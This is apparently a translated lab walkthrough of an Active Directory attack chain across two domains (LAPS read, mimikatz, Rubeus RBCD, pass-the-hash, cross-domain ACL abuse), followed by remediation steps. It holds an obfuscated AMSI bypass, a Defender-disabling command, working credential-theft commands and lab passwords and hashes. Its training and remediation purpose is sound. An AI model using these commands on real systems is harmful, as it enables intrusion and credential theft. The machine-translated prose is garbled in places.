SECLABS
IMPROVED GUIDE // ATTACK + REMEDIATION
🌐 Visit Store / More Guides ↗

Environment — Laboratory Machines

GCBTECH.LOCAL
GCBTECH-EXAM172.16.100.1
GCBTECH-ADMIN172.16.11.3
GCBTECH-SQL172.16.11.4
GCBTECH-DC172.16.11.2
GCBINFRA.LOCAL
GCBINFRA-DC172.16.12.2
GCBINFRA-FILE–
Starting point
Committed during the review
ViewGLOBAL
Full map of the attack
Before the individual steps: thus the vulnerabilities were chained. Each arrow exists because an ill-configured permission allowed it. The defense phase breaks exactly these arrows.
Startexamuser — normal user, without privileges, session at GCBTECH-EXAM.
↓  examuser has permission read the password LAPS GCBTECH-ADMIN (D1 arranges)
LAPSTheft of the password Local Administrator of GCBTECH-ADMIN → session as local admin.
↓  being local admin, mimikatz the memory of LSASS
LSASSHashes stolen: TECHADMIN and the team account GCBTECH-ADMIN$.
↓  the attribute RBCD GCBTECH-EXAM allows GCBTECH-ADMIN$ to supplant anyone (D2 fixes it)
RBCDRubeus S4U forges a CIFS ticket as administrator → examuser is made local GCBTECH-EXAM.
↓  new local admin + mimikatz
LSASSCredentials sqladmin (domain user, admin at GCBTECH-SQL).
↓  SMBexec with only hash enable WinRM remotely
WINRMInteractive session GCBTECH-SQL like sqladmin.
↓  bidirectional trust between domains → you can enumerate gcbinfra.local
TRUSTFinding: TECHADMIN@gcbtech He's got some. GenericAll on fileserveradmin@gcbinfra (D3 fixes it).
↓  GenericAll = total control → password reset without knowing the current
ACLNew password fileserveradmin, which is also admin at GCBTECH-DC → Domain Controller control.
↓  fileserveradmin is also administered in GCBINFRA-FILE → your PowerShell history contains passwords
HISTORIALPassword gcbinfra\Administrator in clear text → GCBINFRA-DC compromised → creds.txt.
↓  the 6 committed teams — end of the attack phase
DEFENSAD1–D7 break each arrow of this chain: remove permits, empty attributes, rotate everything stolen and leave the environment harder than at first.
⚔
Attack phase
Initial access as examuser → hike of privileges → lateral movement for both domains → total commitment of the domain.
StartEXAM
Starting point — Enumeration with BloodHound
You start. examuser in GCBTECH-EXAM without any special privilege. First rule of the attacker: before attacking, map.
What's going on here

Active Directory is a relationship database: who is in which group, who can read what, who manages which team. BloodHound collects those relationships (with SharpHound, doing LDAP queries to Domain Controller) and draws them as a graph to answer a single question: What is the shortest way from MY user to Domain Admin?

It doesn't explode anything on its own — it just tells you which door to try. In this lab the door is: examuser you can read GCBTECH-ADMIN's LAPS password.

1
Get up. SharpHound.ps1 to target and execute it to collect all AD data:
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod all
The point before the path (. .\script.ps1) it's called dot-sourcing: load the script functions in your current session to be able to call them. Without the point, the script runs in its own domain and Invoke-BloodHound It wouldn't be available. CollectionMethod all collect all: users, groups, active sessions, ACLs (permissions), trusts between domains, etc.
ℹ
Departure: 20221216073227_BloodHound.zip — bring it to your Windows machine and press it into the BloodHound GUI (draw the zip or Upload button). Then run the predefined query "Shortest Path to Domain Admin" or look at the nodes with access from examuser.
2
BloodHound's Finding: examuser He's got some. ReadLAPSPassword on GCBTECH-ADMINThat's the initial climbing vector.
BloodHound draws an arist of examuser towards GCBTECH-ADMIN tagged as LAPS read. In the graph this means: a privileged user can read the password of the local administrator of that team. The entire test starts here.
→
Next step: abuse the LAPS reading permission to get the password from the local GCBTECH-ADMIN Administrator.

objectiveADMIN
LAPS password reading → lateral movement to GCBTECH-ADMIN
examuser can read the LAPS password stored in the LDAP attribute ms-mcs-AdmPwd GCBTECH-ADMIN. PowerView is used to read it and PsExec to enter as local Administrator.
What's going on here

LAPS (Local Administrator Password Solution) exists to solve a classic problem: all machines with the Same. Local Administrator password. LAPS generates a password unique and rotated by equipment and save it in an attribute of the object equipment in AD (ms-mcs-admpwdprotected so that only those who have explicit permission can read it.

Lab vulnerability: a examuser (or a group to which it belongs, e.g. JumpMachines) granted this reading permission. Result: a normal user reads in clear text the password of the local GCBTECH-ADMIN admin, without exploiting any bugs.

PowerView is the "swiss army" of AD in PowerShell: makes LDAP queries (reading objects and attributes) and abusing permissions. PsExec (here's the Impacket version, psexec.py) executes remote commands copying a binary to the resource ADMIN$ and creating a service → returns you shell like SYSTEM.

1
First, bypass AMSI (necessary before loading PowerView). This offused bypass activates the flag AmsiInitFailed:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ([TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(
  ("{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') )
)."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),
  ( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
AMSI (Antimalware Scan Interface) is the Windows layer that allows antivirus to inspect PowerShell scripts in memory Right before running them. Without bypass, PowerView/mimikatz would be detected and blocked when loading. The fragment (written with split strings and backticks so that the AV does not recognize it by signature) brand amsiInitFailed = true in .NET: from there, in that processAMSI's analysis "falls" and lets the scripts pass. It only lasts as long as the PowerShell process lives.
2
Import PowerView and read LDAP attribute LAPS password ms-mcs-admpwd:
. .\PowerView.ps1
Get-DomainComputer -Identity gcbtech-admin | select samaccountname,ms-mcs-admpwd
Get-DomainComputer ask the DC by LDAP "send the object of the gcbtech-admin" team and display two attributes: its name SAM and ms-mcs-admpwd, containing the local Administrator's password in clear textIf the field leaves empty, it is that you do not have the permission (the DC conceals the value to whom you cannot read it). That's why examuser "wine" here: they let him read it.
machineGCBTECH-ADMIN
userAdministrator (local)
password (LAPS)2k0awHE+(2i9xL
3
Confirm GCBTECH-ADMIN IP with ping and connect with PsExec (version Impacket):
.\PsExec.exe gcbtech-admin/Administrator:'2k0awHE+(2i9xL'@172.16.11.3
Notation DOMINIO/USUARIO:CONTRASEÑA@IP It's Impacket's. Administrator It's an account. Local (no domain), the "domain" is the name of the team itself (gcbtech-admin). PsExec authenticated by SMB, copy an executable to \\ADMIN$, registers it as Windows service and gives you a shell as SYSTEM in GCBTECH-ADMIN.
✓
You already have session as local Administrator at GCBTECH-ADMIN. Eye: admin Local from a Domain Admin machine. There is still a road — but a committed machine always gives away secrets (follow-stage).

vectorRBCD
Restricted Delegation Based on Resources (RBCD) → admin at GCBTECH-EXAM
TECHADMIN has GenericWrite on GCBTECH-EXAM. The GCBTECH-ADMIN$ account is authorized (RBCD) to replace users with GCBTECH-EXAM. With Rubeus S4U a ticket is forged and a Administrator is scaled up in GCBTECH-EXAM.
What's going on here (the most complex part of the test)

Idea 1 — teams are also "users." Each domain machine has an AD account that ends in $ (e.g. GCBTECH-ADMIN$), with its own password (red every ~30 days) and its hash NTLM. If you steal that hash, "you're the team" in the eyes of Kerberos.

Idea 2 — the delegation. Kerberos allows a service to operate in the name of a user ("acts as if it were him, to serve him better"). In the variant RBCD, it's the (server) the one who decides who can supplant: the attribute msDS-AllowedToActOnBehalfOfOtherIdentity GCBTECH-EXAM contains the SID of GCBTECH-ADMIN$ — that is, "approved that GCBTECH-ADMIN$ use foreign tickets against me."

The attack: as we are Administrator in GCBTECH-ADMIN, mimikatz gives us the account hash GCBTECH-ADMIN$With that hash, Rubeus legitimately asks the DC tickets "on behalf of administrator"for the GCBTECH-EXAM CIFS Service (S4U Protocols: S4U2Self + S4U2Proxy). The DC emits them because the configuration allows it. No one breaks anything: a configuration is abused.

▼ The complete analogy (hotel, buttons and keys) is in the concept guide, section 13.

ℹ
BloodHound findings that feed this step: TECHADMIN has an active session in GCBTECH-ADMIN (their credentials will be in memory) and GenericWrite on GCBTECH-EXAM. In addition, the GCBTECH-EXAM RBCD attribute already points to GCBTECH-ADMIN$ (with GenericWrite on the object equipment you could write that attribute yourself).
1
Verify the RBCD SID configured in GCBTECH-EXAM (from PowerShell in GCBTECH-EXAM):
Get-DomainComputer *exam*

$RawBytes = Get-DomainComputer GCBTECH-EXAM -Properties 'msds-allowedtoactonbehalfofotheridentity' |
  Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity

(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0).DiscretionaryAcl
The RBCD attribute does not keep an SID in plain text: saves a security descriptor (bytes). The last two lines decode it and show the internal ACL. It is the way to read "Who authorizes EXAM to supplant users?".
→
SID returned: S-1-5-21-1265556501-975517518-3548124796-1105 → corresponds GCBTECH-ADMIN$.
2
In GCBTECH-ADMIN: Deactivate the real-time monitoring of Defender and transfer tools:
Set-MpPreference -DisableRealTimeMonitoring $true

# Desde GCBTECH-EXAM, copiar herramientas a GCBTECH-ADMIN vía PSSession:
$sess = New-PSSession -ComputerName gcbtech-admin
Copy-Item -Path .\mimikatz.exe -Destination C:\Users\Public -ToSession $sess
Copy-Item -Path .\Rubeus.exe   -Destination C:\Users\Public -ToSession $sess
New-PSSession open a WinRM channel (PowerShell Remoting, port 5985) with the remote machine using your current local admin credentials; Copy-Item -ToSession copy files through that channel. Defend yourself so that it does not erase mimikatz/Rubeus when landing (in the test it is necessary; in real life, another story). C:\Users\Public escribable by any — classic folder for binary "parking".
3
Within the PSSession in GCBTECH-ADMIN, return credentials with mimikatz:
Enter-PSSession $sess
cd C:\Users\Public
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
LSASS is the Windows process that saves the keys of the sessions started (hashes, Kerberos tickets, passwords in clear when the package leaves them). sekurlsa::logonpasswords read that memory and flip everything. As a local admin you can play LSASS → here appear: the hash of the team account GCBTECH-ADMIN$ (the machine always has its own in memory) and hash of TECHADMINI had an open session on that machine.
accountGCBTECH-ADMIN$
hash NTLM6c6d86cefa656f7d5303496322da07b5
accountTECHADMIN
hash NTLM85fea8c3730ce6ccce8c52c58854ed8e
4
Use Rubeus S4U to forge a CIFS ticket by supplanting administrator at GCBTECH-EXAM and injecting it into the current session:
.\Rubeus.exe s4u /user:gcbtech-admin$ /impersonateuser:administrator /msdsspn:"cifs/gcbtech-exam" /rc4:6c6d86cefa656f7d5303496322da07b5 /ptt
Command translation: /user:gcbtech-admin$ = authenticate as the team account; /rc4:hash = using your NTLM hash as if it were the password (RC4 = NTLM in Kerberos); /impersonateuser:administrator = "I want tickets on behalf of administrator" (S4U2Self); /msdsspn:"cifs/gcbtech-exam" = for the EXAM file/SMB service (S4U2Proxy - DC allows it because the RBCD authorizes it); /ptt = pass the ticketInject the result into your session to use it already. The administrator's password was never known.
5
Verify that the ticket works by listing the disc C: by GCBTECH-EXAM from GCBTECH-ADMIN:
ls \\gcbtech-exam\c$
c$ It's a administrative remedy (share occulto): only administrators see it. If your new CIFS ticket was not valid, you would receive "Access denied". See list = the DC accepted the suplantation.
6
Transfer psexec-int.exe (PsExec de SysInternals) to GCBTECH-ADMIN and add examuser to the local GCBTECH-EXAM administrators group:
Copy-Item -Path .\psexec-int.exe -Destination C:\Users\Public -ToSession $sess
Enter-PSSession $sess

.\psexec-int.exe \\gcbtech-exam net localgroup administrators /add examuser -accepteula
PsExec (Windows version of SysInternals) uses the CIFS ticket already injected to play ADMIN$ and the EXAM Service Control Manager, and execute the command as SYSTEM. The command itself is that of all life to put a user in the group administrators local. -accepteula accept the license automatically. Note: if PsExec complains of permissions, Rubeus admits /altservice:host,rpcss to derive from the same ticket the extra SPNs that PsExec uses.
✓
examuser He is already a local administrator of GCBTECH-EXAM. Log in and re-enter RDP for the new group to apply (the session tokens are calculated when you sign in).

objectiveSQL
Backup of credentials → SMBexec → GCBTECH-SQL
Turn sqladmin credentials from GCBTECH-EXAM with mimikatz. Enable PSRemoting via SMBexec using only the hash NTLM, and then open a PSSession.
What's going on here

We repeat the previous step trick, but in the other direction: now examuser is already local admin of GCBTECH-EXAM → mimikatz can read EXAM LSASS. Here are the credentials sqladmin, a domain user that is admin on the SQL server (he had logged in to EXAM, that's why they're in memory).

The operating problem: GCBTECH-SQL has disabled WinRM (you can't open PSSession directly).The solution: Invoke-SMBexec execute commands via SMB authenticating only with the hash NTLM (pass-the-hash) — you don't need the password clear to order the machine to enable its own WinRM. Then you're in normal.

1
As examuser (ya admin local) in GCBTECH-EXAM, run mimikatz to flip credentials:
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
Same module as before: sekurlsa::logonpasswords extracts everything that LSASS has from each session started on that machine. sqladmin with your password clear and your hash NTLM.
accountsqladmin
PasswordP@ssforDBServer1
hash NTLM41eb70e78aef6778c507773770fcf780
2
Use Invoke-SMBexec to enable PSRemoting in GCBTECH-SQL with the hash NTLM (without a clear password):
. .\Invoke-SMBexec.ps1

# Confirmar que la ejecución funciona:
Invoke-SMBexec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command whoami

# Habilitar PS Remoting:
Invoke-SMBexec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command "powershell enable-psremoting"
This is a pass-the-hash pure: NTLM authentication never sends the password, it is shown that you know the hash — so if you already have the hash, the DC/the machine gives you valid. whoami is a "ping" to confirm that sqladmin executes commands in SQL; the second opens the WinRM service (creates the HTTP listener in 5985 and the firewall rules).
3
Open a PSSession in GCBTECH-SQL with clear password:
$passwd = ConvertTo-SecureString "P@ssforDBServer1" -AsPlainText -Force
$creds  = New-Object System.Management.Automation.PSCredential ("gcbtech\sqladmin", $passwd)
Enter-PSSession -ComputerName gcbtech-sql -Credential $creds
PowerShell does not accept passwords in plain text directly: you have to wrap them in an object PSCredential (SecureString + user). Enter-PSSession connects to WinRM and leaves you inside. machine: everything you write runs on GCBTECH-SQL as sqladmin.
✓
Interactive session in GCBTECH-SQL as sqladmin. IP: 172.16.11.4.

pivotTRUST
Cross-domain enumeration through bidirectional confidence
List the domain gcbinfra.local from within gcbtech.local using existing confidence. Identify interesting ACL routes with PowerView and BloodHound.
What's going on here

One. trust (trust) between domains is an agreement of "my territory accepts identities of yours". bidirectionalThis is not exploited or broken: simply used. Gcbtech.local users may appear on gcbinfra.local object permissions — and vice versa.

Here's the big lab bug. Someone conceded. TECHADMIN (a user of the another. domain) GenericAll on account FILESERVERADMIN As we already stole TECHADMIN's hash, that permission belongs to us.

1
From the PSSession in GCBTECH-SQL, import PowerView and list the trusts of the domain:
. .\PowerView.ps1
Get-NetDomainTrust
Question to DC: "What domains do we have trust and what kind?" The answer includes the address (bidirectional / in-bound / out-bound) — the direction determines where you can pivot.
→
Finding: bidirectional trust between gcbtech.local and gcbinfra.local.
2
List the gcbinfra.local domain equipment:
Get-DomainComputer -Domain gcbinfra.local | select cn
The parameter -Domain makes the LDAP consultation direct to the DC of the other domain — trust lets you ask (and read what is public). So you discover the objectives on the other side.
→
Found: GCBINFRA-DC and GCBINFRA-FILE.
3
Find interesting ACLs in gcbinfra.local and run SharpHound against that domain:
Find-InterestingDomainAcl -Domain gcbinfra.local

. .\SharpHound.ps1
Invoke-BloodHound -Domain gcbinfra.local
Find-InterestingDomainAcl filter ACLs "jugosas": GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword... on sensitive objects. SharpHound with -Domain He does the same but for BloodHound's graph.
⚡
Key finding: TECHADMIN@GCBTECH.LOCAL He's got some. GenericAll on FILESERVERADMIN@GCBINFRA.LOCALAnd BloodHound shows that FILESERVERADMIN is administrator in GCBTECH-DC.

objectiveDC
GenericAll Abuse → fileserveradmin → GCBTECH-DC
Use TECHADMIN's GenericAll rights over fileserveradmin to reset your password. As fileserveradmin is administered in GCBTECH-DC, this gives access to the Domain Controller.
What's going on here

GenericAll = total control over an AD object: you can change it, erase it, and most practical for an attacker: change your password without knowing the current (the "passwordset" permission is included).

But the permission is from TECHADMIN, not from examuser. Solution? We have your hash NTLM: pass-the-hash with mimikatz opens a new PowerShell running as techadmin — as if you had stolen your session. From there you run the cross-domain reset and, with the new fileerveradmin password (admin in DC), you enter the GCBTECH-DC.

1
Launch a PowerShell running like techadmin with mimikatz pass-the-hash:
.\mimikatz.exe "sekurlsa::pth /domain:gcbtech.local /user:techadmin /ntlm:85fea8c3730ce6ccce8c52c58854ed8e /run:powershell" "exit"
sekurlsa::pth Inject the hash NTLM into a new process: that PowerShell opens with the techadmin identity and can be authenticated in network with it — without ever clear password. Everything you run in that window, you run it as techadmin.
2
In the new window (such as techadmin), import PowerView and reset the fileerveradmin password using GenericAll:
. .\PowerView.ps1
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity fileserveradmin -Domain gcbinfra.local -AccountPassword $pass
Set-DomainUserPassword does a password attribute writing LDAP operation. The DC accepts it without asking for the old password because the caller has reset rights (GenericAll). -Domain points the operation to the other domain through trust.
accountgcbinfra\fileserveradmin
new passwordPassword123!
3
Open a PSSession in GCBTECH-DC as fileserveradmin (is admin there):
$passwd = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$creds  = New-Object System.Management.Automation.PSCredential ("gcbinfra\fileserveradmin", $passwd)
Enter-PSSession -ComputerName gcbtech-dc.gcbtech.local -Credential $creds
Here the two domains are crossed: a user of gcbinfra.local authenticated by WinRM against a gcbtech.local machine. Confidence allows it, and the membership of fileserveradmin in DC administrators authorizes it. Commit a DC = commit the entire domain (there is the NTDS database with ALL domain hashes).
✓
Interactive session GCBTECH-DC as fileserveradmin. Engaged domain controller.

FinalINFRA
Run in PowerShell's history → GCBINFRA-DC + GCBINFRA-FILE
Find credentials on the PowerShell history of fileserveradmin in GCBINFRA-FILE. Use them to compromise GCBINFRA-DC and recover the creds.txt file.
What's going on here

PowerShell (PSReadLine module) saves every command you write on console in ConsoleHost_history.txt so that you can recover them with the ↑ arrow. It is a comfort function with a brutal side effect: if an administrator typed a password within a command (e.g. when creating credentials), it became clear in that file..

As fileserveradmin is also administered in GCBINFRA-FILE, we went in there and read YOUR history. Inside was the password gcbinfra\Administrator. With it, the DC of the second domain falls without resistance.

1
From GCBTECH-EXAM as fileserveradmin, discover admin access by PSRemoting and connect to GCBINFRA-FILE:
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess

Enter-PSSession gcbinfra-file.gcbinfra.local
Find-PSRemotingLocalAdminAccess sweep the domain equipment and tell you which your current user is local admin and they have WinRM active. It saves you to test machine by machine. GCBINFRA-FILE appears on the list → direct connection.
2
Read PowerShell's history file looking for filtered credentials:
type C:\Users\fileserveradmin\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt
This route is fixed by user (%APPDATA%). It is one of the first things that an attacker reviews—and the most forgotten by the administrators. In the record was the command where someone created credentials gcbinfra\Administrator with the password visible.
accountgcbinfra\Administrator
password (from the record)InfraTechAdministratorLocal11
3
Open a PSSession in GCBINFRA-DC with uncovered credentials and recover the creds.txt file:
$passwd = ConvertTo-SecureString "!!InfraTechAdministratorLocal11" -AsPlainText -Force
$creds  = New-Object System.Management.Automation.PSCredential ("gcbinfra\Administrator", $passwd)
$infradc = New-PSSession -ComputerName gcbinfra-dc.gcbinfra.local -Credential $creds

# Copiar el archivo de creds de vuelta a GCBTECH-EXAM:
Copy-Item -Path C:\Users\Administrator\Desktop\creds.txt -Destination C:\Users\examuser\Desktop\ -FromSession $infradc
Copy-Item -FromSession It's the reverse of -ToSession: Bring a file From the remote machine to yours by the WinRM channel. creds.txt is the ultimate goal of the test: contains the passwords that will be used in the defense phase (including that of the gcbtech\administrator: !!TechAdministratorLocal11And techadmin's. T0Access0therForest).
✓
Full attack phase. The 6 committed objectives: GCBTECH-EXAM, GCBTECH-ADMIN, GCBTECH-SQL, GCBTECH-DC, GCBINFRA-DC, GCBINFRA-FILE.
🛡
Defense phase — now yes, how to remedy
Each task follows the same structure: the problem (what permission/mala configuration allowed) → how to remedy it (GUI and PowerShell) → how to verify → Extra hardening. In addition to the 6 tasks of the exam, D7 is added with what the original guide omitted (return all stolen, reactivate Defender, delete tools).
D1 · remediate
Remove examuser the LAPS reading permit
Break the FIRST Arrow of the Chain: without reading ms-Mcs-AdmPwd, examuser can no longer steal the password from the local admin.
the problem
examuser (or group JumpMachines to which it belongs) has an entry into the OU ACL JumpMachines which grants him read the attribute ms-Mcs-AdmPwd (the LAPS password in clear text) of the equipment within that OU. A user without privileges could read the password of the local GCBTECH-ADMIN Administrator and enter with PsExec.
How to remedy it
1
Connect by RDP to GCBTECH-DC (172.16.11.2) as gcbtech\administrator (counter) !!TechAdministratorLocal11If RDP is off, act first:
Enter-PSSession gcbtech-dc
# Abrir el RDP en el firewall:
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# Si sigue sin conectar, habilitar también el servicio RDP:
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
They are two different switches: the firewall rule (port 3389 open) and the RDP service (value fDenyTSConnections=0 Turn it on). Sometimes only one is off; that's why both of them are checked.
2
Vía GUI (ADUC): Active Directory Users and Computers → menu See Activate Advanced features (without this does not appear the Security tab) → right click on the OU JumpMachines → Properties → tab Security Select examuser → Advanced options → locate examuser permission entry with Read ms-Mcs-AdmPwd → Quitar → Apply → Accept.
The "Security" tab only exists with Advanced Features activated — detail that makes you waste a lot of time if you don't know. What you're editing is the ACL of the OU: the list of "who can do what" that is inherited to the teams inside. You can also add a Deny explicit as a belt and straps, although removing the Allow enough (a inherited Deny can cause side effects later).
# Alternativa PowerShell (PowerView, desde el DC):
. .\PowerView.ps1
Remove-DomainObjectAcl -TargetIdentity 'OU=JumpMachines,DC=gcbtech,DC=local' -PrincipalIdentity examuser -Rights ReadLAPSPassword
3
Important: if the permission came from a group (e.g. examuser is a member of JumpMachines), get him out of the group to stop him from inheriting him. rotate the stolen password - the attacker already knows her:
# Sacar a examuser del grupo (en el DC):
Remove-ADGroupMember -Identity JumpMachines -Members examuser -Confirm:$false

# Forzar rotación LAPS de GCBTECH-ADMIN (LAPS clásico): marcar la contraseña como expirada…
Set-ADComputer gcbtech-admin -Replace @{'ms-mcs-admpwdexpirationtime'='0'}
# …y en la propia máquina forzar la directiva para que genere la nueva:
gpupdate /force
Removing the permission stops the bleeding, but password 2k0awHE+(2i9xL remains valid until the next rotation. ms-mcs-admpwdexpirationtime = 0 the mark as expired and the LAPS client generates a new one in the following directive cycle (or when running gpupdate on the machine). With Windows LAPS (the new one), the equivalent is Set-LapsADPasswordExpiration -Identity gcbtech-admin.
How to verify
# Como examuser (¡importante probar como el usuario de bajo privilegio!):
. .\PowerView.ps1
Get-DomainComputer gcbtech-admin | select samaccountname,ms-mcs-admpwd
# ms-mcs-admpwd debe salir vacío → ya no puede leerla
an extra endurement
• That the LAPS reading only has a small and audited group (helpdesk Tier 1 with limits), never loose users.
• Migrate Windows LAPS (integrated in Windows 11/Server 2022+, supports encryption and password history).
• Monitoring attribute readings: any reading from an unexpected account should generate alert (SIEM).
D2 · remediate
Eliminate the RBCD and the GenericWrite from techadmin on GCBTECH-EXAM
Break the arrow of the RBCD: without attribute that authorizes GCBTECH-ADMIN$, there is no possible supplantation; and without GenericWrite, no one can rewrite that attribute.
the problem
Two combined flaws: (a) the attribute msDS-AllowedToActOnBehalfOfOtherIdentity GCBTECH-EXAM authorized the account GCBTECH-ADMIN$ to supplant any user before that server → who controlled that computer account (us, after stealing your hash with mimikatz) got tickets like administrator. (b) TECHADMIN had GenericWrite on the object GCBTECH-EXAM → permission to modify that attribute (and any other) and self-concede the RBCD.
How to remedy it
1
From a PowerShell session in GCBTECH-DC (as admin), empty the RBCD attribute:
Set-ADComputer -Identity gcbtech-exam -PrincipalsAllowedToDelegateToAccount $null
-PrincipalsAllowedToDelegateToAccount is the "friendly" parameter of the cmdlet for the RBCD attribute: assign it $null leave the list of authorized accounts empty. No one can use S4U against GCBTECH-EXAM anymore.
2
Vía GUI (ADUC): View → Advanced features → container Computers → double click GCBTECH-EXAM → tab Security Select techadmin → Quitar → Accept.
This eliminates the ACL's techadmin ACE from the equipment object. Without GenericWrite, techadmin (nor whoever steals your hash) can modify attributes of GCBTECH-EXAM — including putting the RBCD back on. It's half the arrangement that the original guide did without explaining.
3
Don't forget what's stolen: the hash of account GCBTECH-ADMIN$ and the TECHADMIN They're still in the power of the attacker.
# Rotar la contraseña de la cuenta de equipo (correr EN GCBTECH-ADMIN como admin):
Reset-ComputerMachinePassword -Server gcbtech-dc.gcbtech.local

# Cambiar la contraseña de techadmin (correr en el DC):
Set-ADAccountPassword -Identity techadmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Cl4v3-Fu3rt3' -AsPlainText -Force)
Eye with team accounts: your password is negotiated by the machine itself with the DC (safe channel). Reset-ComputerMachinePassword running in the machine: generates a new random and registers it on both sides at once. The old hash remains unfeasible. This step was not in the original guide and without it the arrangement is incomplete.
How to verify
. .\PowerView.ps1
Get-DomainComputer gcbtech-exam
# msds-allowedtoactonbehalfofotheridentity debe estar vacío,
# y en la pestaña Seguridad del objeto no debe aparecer techadmin
an extra endurement
• Mark the privileged accounts as "The account is confidential and cannot be delegated." (Account is sensitive and cannot be delegated) → nor with RBCD you could supplant them.
• Periodically auditing who has GenericWrite/GenericAll on equipment (BloodHound also serves the human rights defender).
• Do not give GenericWrite about equipment to user accounts; if an app needs it, document it and isolate it.
D3 · remediate
Remove the GenericAll on fileserveradmin and remove it from DC admins
Break the cross-domain arrows: without GenericAll there is no password reset, and without membership in DC admins there is no access to DC.
the problem
TECHADMIN (from the domain gcbtech) had GenericAll about the FILESERVERADMIN account (from the OTHER domain!) → you reset the password without knowing the original. In addition, fileserveradmin was manager at GCBTECH-DC → enter the DC with the newly "secure" account. And to top, its PowerShell history in GCBINFRA-FILE filtered the Administrator's password for gcbinfra.
How to remedy it
1
In GCBINFRA-DC (RDP as gcbinfra\administrator, IP 172.16.12.2): ADUC → View → Advanced features → Users → double click files → tab Security Select techadmin → Quitar → Accept.
You are removing the ACE cross-domain in the domain where the object lives (gcbinfra). It is the key that allowed the sequestration of account. Golden rule that this case illustrates: an account of another domain should never have GenericAll on critical accounts.
2
Remove fileserveradmin from the GCBTECH-DC admin group:
Enter-PSSession -ComputerName gcbtech-dc.gcbtech.local
net localgroup administrators /del gcbinfra\fileserveradmin
Fine detail: in a Domain Controller there is no "local" of all life — the group administrators that handles net localgroup is the built-in domain group. Anyway: the command does the job. A file infrastructure admin has nothing to do by being admin of a DC.
3
Restoring compromised passwords (important omission of the original guide — the attack left Password123! setup and the record gave the Administrator's:
# En GCBINFRA-DC — nueva contraseña fuerte para fileserveradmin:
Set-ADAccountPassword -Identity fileserveradmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!FileServer-2024' -AsPlainText -Force)

# Y para el Administrator del dominio (la suya salió en el historial):
Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Infra-Admin-2024' -AsPlainText -Force)
If you only remove the permission but do not change the password, the attacker retains the access he already obtained: fileserveradmin entered the DC with Password123! and anyone who reads the record knows the Administrator's. Remediation = close the door and change the lock.
4
Delete the history file containing the filtered credentials:
Enter-PSSession gcbinfra-file.gcbinfra.local
cd C:\Users\fileserveradmin\AppData\Roaming\Microsoft\Windows\Powershell
rm .\PSReadLine\ConsoleHost_history.txt
The file is just plain text: erase it removes the secret. Eye: If any other admin also writes passwords on console, it is convenient to check your history as well (misma route, folder with your user).
How to verify
# El reset de contraseña como techadmin ya debe fallar:
Set-DomainUserPassword -Identity fileserveradmin -Domain gcbinfra.local -AccountPassword $pass
# → "Access denied" / "Insufficient privileges"

# Y el historial ya no existe:
type C:\Users\fileserveradmin\...\ConsoleHost_history.txt  # → no encuentra el archivo
an extra endurement
• Review ALL cross-domain ACLs with PowerView/BloodHound: any external account with GenericAll/GenericWrite on internal objects is a time bomb.
• Meter administration accounts in the group Protected Users (no delegation, no NTLM, null cache).
• Educate/force not to write command-on-line passwords; optionally deploy a profile by GPO Set-PSReadLineOption -HistorySaveStyle SaveNothing on sensitive servers.
D4 · configure
Set up the required shares
Share the folder files GCBINFRA-FILE for roofadmin (Read) and folder data of GCBTECH-SQL for fileserveradmin (Read).
the context
This task does not correct an attack: it is a review requirement What you do need to understand is the dual-layer model of Windows permissions: when you access a folder by network they apply two filters in series: the Share permit (share, "who can enter through the network door") and the permission NTFS ("what you can do once inside"). The final access is the more restrictive than the twoTo give Real Reading, you have to give Read in share and check that NTFS also allows you to read.
How to do it
1
GCBINFRA-FILE → share "files" for techadmin: RDP to GCBINFRA-FILE as gcbinfra\fileserveradmin (Password123! — or the new one after D3). Go to C: → right click files files files files → Properties → Share → button Share... → search gcbtech\techadmin → level Reading → Share.
Note in the detail of the test: share for a user of the other domain (gcbtech) in a gcbinfra machine — possible only because there is bidirectional trust. In the search engine you have to write the full name gcbtech\techadmin so that it solves it.
# Alternativa PowerShell (como admin en GCBINFRA-FILE):
New-SmbShare -Name 'files' -Path 'C:\files' -ReadAccess 'gcbtech\techadmin'
# Si el share ya existiera, conceder acceso en el existente:
Grant-SmbShareAccess -Name 'files' -AccountName 'gcbtech\techadmin' -AccessRight Read -Force
# Verificar como techadmin (contraseña de creds.txt: T0Access0therForest):
net view \\gcbinfra-file.gcbinfra.local      # lista los shares visibles
dir \\gcbinfra-file.gcbinfra.local\files     # debe listar el contenido
2
GCBTECH-SQL → share "data" for fileserveradmin: RDP to GCBTECH-SQL (172.16.11.4) as sqladmin. Go to C: → right click data → Properties → Share → gcbinfra\fileserveradmin → level Reading → Share.
# Alternativa PowerShell (como admin en GCBTECH-SQL):
